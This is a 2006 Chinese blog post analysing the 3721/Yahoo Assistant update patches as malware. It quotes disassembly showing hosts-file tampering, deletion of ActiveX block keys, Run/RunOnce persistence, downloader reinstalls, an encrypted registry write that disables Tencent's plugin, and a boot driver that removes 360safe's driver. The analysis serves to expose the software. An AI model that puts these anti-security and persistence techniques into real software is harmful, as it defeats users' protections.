2006年10月11日星期三

MJ0011技术分析:细数3721(雅虎助手)两年来的流氓升级史

刚才分析了Yahoo上网助手的34号patch包,找到一些同360安全卫士PK的有意思的东西,便对上网助手的patch感兴趣起来了,想看看之前的33个patch包都是干了什么事呢?其中patch03,04,05,06,09,10,11,16,18,22,07,24,25,26,28,29,32可以下载
其他编号的想必是迫于压力又或是某些不可告人的原因
被撤消了(就象之前分析的patch34) 所以无法下载
patch最早从04年02月01日开始
最新的patch是06年10月10日
见证了3721及其附属产品2年多的流氓史
那么挨个看一下他们分别都干了些什么:

<1>.
03号patch:
日期 01/02/04 13:38:49(注:时间格式:月/日/年,直接从flashget上复制过来的)
主要是对system32driversetchosts也就是系统hosts文件进行恶意篡改,将其 中对3721.net,3721.com的屏蔽修改回来
主要代码截取如下:
push ebx ; FILE *
push 1 ; size_t
push esi ; size_t
push edi ; void *
call ds:fread
and byte ptr [edi+esi], 0
push edi
call sub_1000222B
mov esi, ds:strstr
mov ebx, offset s__3721_com ; ".3721.com"
; x
push ebx ; char *
push edi ; char *
call esi ; strstr
add esp, 1Ch
test eax, eax
jz short loc_100021C8
loc_100021C8: ; ".3721.net"
mov ebx, offset s__3721_net
push ebx ; char *
push edi ; char *
call esi ; strstr
pop ecx
test eax, eax
pop ecx
jz short loc_100021EF
;以上是恢复3721.com和3721.net的屏蔽
loc_100022A7:
push 0
call sub_10002331
test eax, eax
pop ecx
jz short loc_100022BA
offset s_System32Drive ; "system32driversetchosts"
jmp short loc_100022BF
;此处判断操作系统版本并取得不同版本windwos的hosts文件路径
<2>.
04号patch:
日期 01/18/04 10:38:24
04号patch带了一个patch41.dat
该patch和patch34一样,同样会将自己自毁
且代码完全一样
patch41.dat是个加密了的文件,算法有点古怪,我估计是类似“竞争对手网站屏蔽表这样的东西”
<3>.
05号patch
日期 04/22/04 15:07:35
更新一个clsid
<4>.
06号patch
日期 05/13/04 09:58:10
删除SOFTWAREMicrosoftInternet ExplorerActiveX Compatibility下的如下几个键值:
'{B83FC273-3522-4CC6-92EC-75CC86678DA4}'=3721网络实名模块cnsmin.dll
'{4522DBFE-14CD-4A59-AC2A-54BADFDD6D53}'=3721网络实名
'{1B0E7716-898E-48CC-9690-4E338E8DE1D3}'=3721上网助手模块ASSIST.DLL
'{7CA83CF1-3AEA-42D0-A4E3-1594FC6E48B2}'=3721上网助手模块autolive.dll
'{4EDBBAEA-F509-49F6-94D1-ECEC4BE5B686}'=3721中文邮
'{8D898B17-976D-44c1-84E6-AF38842AC9EC}'=3721升级包模块
用于恢复类似 恶意软件清理助手,360SAFE,OPIEA,优化大师等在注册表中对3721部分产品的 插件屏蔽
导致屏蔽失效!
删除屏蔽插件的部分代码:
.data:10002197 loc_10002197:
.data:10002197 push dword ptr [edi]
.data:10002199 lea eax, [ebp+pszSubKey]
.data:1000219F push offset s_SoftwareMicro ; "SOFTWAREMicrosoftInternet ExplorerActiveX Compatibility"
.data:100021A4 push offset s_SS ; "%s%s"
.data:100021A9 push 103h ; size_t
.data:100021AE push eax ; char *
.data:100021AF call ds:_snprintf
.data:100021B5 add esp, 14h
.data:100021B8 lea eax, [ebp+pszSubKey]
.data:100021BE push eax ; pszSubKey
.data:100021BF push 80000002h ; hkey
.data:100021C4 call ds:SHDeleteKeyA
.data:100021CA inc esi
.data:100021CB add edi, 4
.data:100021CE cmp esi, dword_10002028
.data:100021D4 jl short loc_10002197
.data:100021D4
.data:100021D6
.data:100021D6 loc_100021D6:
.data:100021D6 pop edi
.data:100021D7 xor eax, eax
.data:100021D9 pop esi
.data:100021DA leave
.data:100021DB retn
<5>.
09号patch
似乎是一个check模块
检查3721部件是否正常(校验码是否正确)
否则会从3721的网站download安装程序重新安装
(url=http://user.3721.com/soft/patch09.htm?fb=0
和http://user.3721.com/soft/patch09.htm?fb=1
)
(可能针对某些清理软件的破坏)
<6>.
10号patch
日期 12/10/04 11:07:21
同样是一个check模块
会检查3721的组件是否正常,若被破坏,则自动释放出patch10.exe(包含在DLL资源中)并执行
部分代码:
push offset s_SAssist3721 ; "%sassist3721"
lea eax, [ebp+var_568]
push edi ; size_t
push eax ; char *
call ebx ; _snprintf
push esi
push offset s_SAssistRepair ; "%sassistrepair.dll"
lea eax, [ebp+pszPath]
push edi ; size_t
push eax ; char *
call ebx ; _snprintf
add esp, 20h
lea eax, [ebp+pszPath]
push eax ; pszPath
call ds:PathFileExistsA
;检查上面几个dll是否存在
test eax, eax
jz loc_100022D3
lea eax, [ebp+Buffer]
push eax
push offset s_SPatch10_exe ; "%spatch10.exe"
lea eax, [ebp+FileName]
push edi ; size_t
push eax ; char *
call ebx ; _snprintf
add esp, 10h
lea eax, [ebp+FileName]
push eax ; lpFileName
...............
................
lea eax, [ebp+hObject]
push eax ; lpProcessInformation
lea eax, [ebp+StartupInfo]
push eax ; lpStartupInfo
push esi ; lpCurrentDirectory
push esi ; lpEnvironment
push esi ; dwCreationFlags
push esi ; bInheritHandles
push esi ; lpThreadAttributes
lea eax, [ebp+CommandLine]
push esi ; lpProcessAttributes
push eax ; lpCommandLine
push esi ; lpApplicationName
call ds:CreateProcessA
;执行patch10.exe
cmp [ebp+hObject], esi
mov edi, ds:CloseHandle
jz short loc_100022C9
;释放并执行patch10.exe
patch10.exe实际上是一个downloader(下载者),会从
http://download.3721.com/download/asrepair.cab?t=%d
下载3721恢复包 恢复被清除的3721
<7>.11号patch
日期 06/17/05 12:22:42
该patch启动后会使用rundll32.exe加载自己
创建一个名为3721CNSINSTSHELL_INSTALLMUTEX_PATCH11的互斥对象
然后释放出一个cab文件,里面是压缩后的wmpns.dll,查了一下,是3721反间谍专家的一个附属 的dll,有恶意软件性质
并会将CNS的Setup程序写入runonce键值(重启后安装CNS网络实名)
将cnsAutoUpdate写入注册表Run键值(每次开机自动执行更新程序)
部分代码:
push offset s_Rundll32_exeS ; "Rundll32.exe %s,RundllEx"
;安装程序,使用rundll32调用
push 104h ; size_t
push ecx ; char *
call ebx ; _snprintf
lea edi, [esp+754h+pvData]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
lea edx, [esp+744h+pvData]
push ecx ; cbData
push edx ; pvData
push 1 ; dwType
push offset s_Setup ; "Setup"
push offset s_SoftwareMic_2 ; "SoftwareMicrosoftWindowsCurrentVersi"...
;写入runonce键值
push 80000002h ; hkey
call ds:SHSetValueA
mov esi, 1
<8>.16号patch
16号patch是个非常有意思的东西,它会把这个注册表键值设为"no"
HKCUSoftwareTencentTBHEnableTBH
用来打击腾讯的BHO
将腾讯的浏览器插件设为禁止后
该patch将自毁
为了防止别人发现它修改tencent的键值以带来不必要的麻烦,该PATCH中对注册表部分的读写是 加密了的
(呵呵,看了这个之后腾讯会不会去找YAHOO的麻烦呢?)
代码如下:
mov esi, offset s_A709ce5ce8561 ; "A709CE5CE8561FEDE4"
lea edi, [ebp+pszValue]
movsd
movsd
movsd
movsd
movsw
movsb
push 3Ch
xor eax, eax
pop ecx
lea edi, [ebp+var_F5]
rep stosd
stosb
push 0Ah
mov esi, offset s_B108c94af3523 ; "B108C94AF35239CAF0C2B5588CFFD3B4DB1B2FC"...
pop ecx
lea edi, [ebp+pszSubKey]
rep movsd
movsb
push 36h
xor eax, eax
pop ecx
lea edi, [ebp+var_1E3]
rep stosd
stosw
stosb
mov esi, 82h
lea eax, [ebp+pszValue]
push esi ; int
push eax ; char *
call sub_10001067
lea eax, [ebp+pszSubKey]
push esi ; int
push eax ; char *
call sub_10001067
mov esi, offset s_No ; "no"
lea edi, [ebp+pvData]
movsw
movsb
push 40h
xor eax, eax
pop ecx
lea edi, [ebp-411h]
rep stosd
stosb
lea eax, [ebp+pvData]
push eax ; char *
call strlen
add esp, 14h
push eax ; cbData
lea eax, [ebp+pvData]
push eax ; pvData
lea eax, [ebp+pszValue]
push 1 ; dwType
push eax ; pszValue
lea eax, [ebp+pszSubKey]
push eax ; pszSubKey
push 80000001h ; hkey
call ds:SHSetValueA
其中sub_10001067子程序就是将B108C94AF35239CAF0C2B5588CFFD3B4DB1B2FC与 A709CE5CE8561FEDE4进行解密,从而得到HKCUSoftwareTencentTBHEnableTBH这个注册表路 径
然后对其写入键值:no
起到禁止腾讯bho的作用
更有意思的是 我发现了一篇文章:《!腾讯流氓覆灭记!》其中所说的方法和这个patch完全一 致,呵呵 不知两者有何关联
<9>.18号patch
日期 09/23/05 14:44:46
加载2005年的yahoo流氓部分插件:zsmod.dll
这是个3721上网助手卸载后不会完全删除的组件
具体可见那篇著名的<<全面剖析3721及上网助手>>
<10>.22号patch
日期 12/19/05 13:51:49
主要用于从http://download.3721.com/download/CnsMin.cab这个地址download一个cnsmin.cab并安装
也就是自动安装网络实名
没什么新东西,代码就不列了
<11>.07号patch
日期 08/06/04 14:43:07
与04号patch基本一样
只是所带的.dat文件有所更改
自毁
<12>.24号patch
日期 01/25/06 13:28:54
该patch只有一个字节0x20
估计是被丢弃的一个patch
<13>.25号patch
日期 04/24/06 03:41:54
又是一个下载者
会下载:
http://download.3721.com/download/cnsdtu.cab
http://download.3721.com/download/keepmainM.cab
这两个3721相关产品并自动安装之
<14>.26号patch
日期 05/11/06 12:31:19
和25号patch基本一致,还是下载者
会下载:
http://download.3721.com/download/cnsdtu.cab
这个3721相关产品并自动安装之
<15>.28号patch
日期:无
不知道为什么,是一个0字节文件
可能被丢弃
<16>.29号patch
日期 10/10/06 11:46:57
这是为数不多的有意思的patch之一....
资源里有这两个有意思的路径:
1.
d:doworkCnsPatchpatch29sysReleasehack.pdb
(自己承认是hack别人东西的驱动~)
2.
e:mywork360safesrcantidriver
360safe的anti driver(反3721,中搜等的一些流氓驱动的占坑驱动)
特点:
1.自毁
2.删除360SAFE的驱动/注册表项
3.释放并注册一个在boot时会加载的驱动,与360safe的pnp占坑驱动进行PK,看谁加载得快,就把谁给删了(如果那之前360SAFE的服务键值还没被删的话)
<17>.32号patch
日期 09/22/06 09:19:36
会干掉很棒小秘书:P
包括hbhelper.dll,tbhelper.dll,hbclient,启动项,就连“很棒小秘书.lnk"也不放过...(流氓自个打架...)
会释放一个hack驱动,不过不会以BOOT方式加载
<18>.34号驱动
在之前的文章里有分析:
http://www.cnbeta.com/modules.php?name=News&file=article&sid=16531
== Yahoo上网助手自杀式破坏360safe的程序代码分析
完了
分析这多,累死偶也...后面几个懒得列代码了
偶把3721的老底给揭了...不知道某厂商会不会派杀手追杀偶...
其中还涉及到yahoo与tencent,很棒,360间PK,争夺客户端...
因为匆匆分析这18个文件,又都是静态分析...所以估计难免会有错误...还请高手指正...

原文链接:http://www.cnbeta.com/modules.php?name=News&file=article&sid=16554

没有评论: